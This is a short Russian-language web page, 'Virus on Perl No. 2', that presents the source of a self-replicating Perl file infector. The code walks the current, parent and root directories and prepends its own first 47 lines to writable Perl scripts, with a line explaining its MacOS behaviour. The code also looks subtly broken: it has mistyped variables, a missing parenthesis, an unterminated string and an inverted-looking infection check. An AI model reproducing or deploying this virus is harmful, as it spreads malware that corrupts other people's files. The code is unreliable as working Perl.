Вирус на Perl №2
В следующем исходнике дано решение данной проблемы: #!/usr/bin/perl # Perl - Get'em'all Virus open(File,$0); @Virus=<File>; @Virus=@Virus[0...46]; close(File); &InfectFile; if ($^0 =~ "MacOS") { chdir('::'); &InfectFile; } else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd`; chdir('..'); &InfectFile; chdir('C:\'); &SearchUpperDirectorys; chdir($OldDir);} else { $OldDir = `pwd`; chdir("/"); &SearchUpperDirectorys; chdir($OldDir);}} sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} sub SearchUpperDirectorys { foreach $Directory (<*>) { if ((-r $Directory) && (-w &Directory ) && (-d $Directory) { chdir ($Directory); &InfectFile; chdir ('..') }}} OK, если мы в системе MacOS, то заражаем лишь низшую директорию

























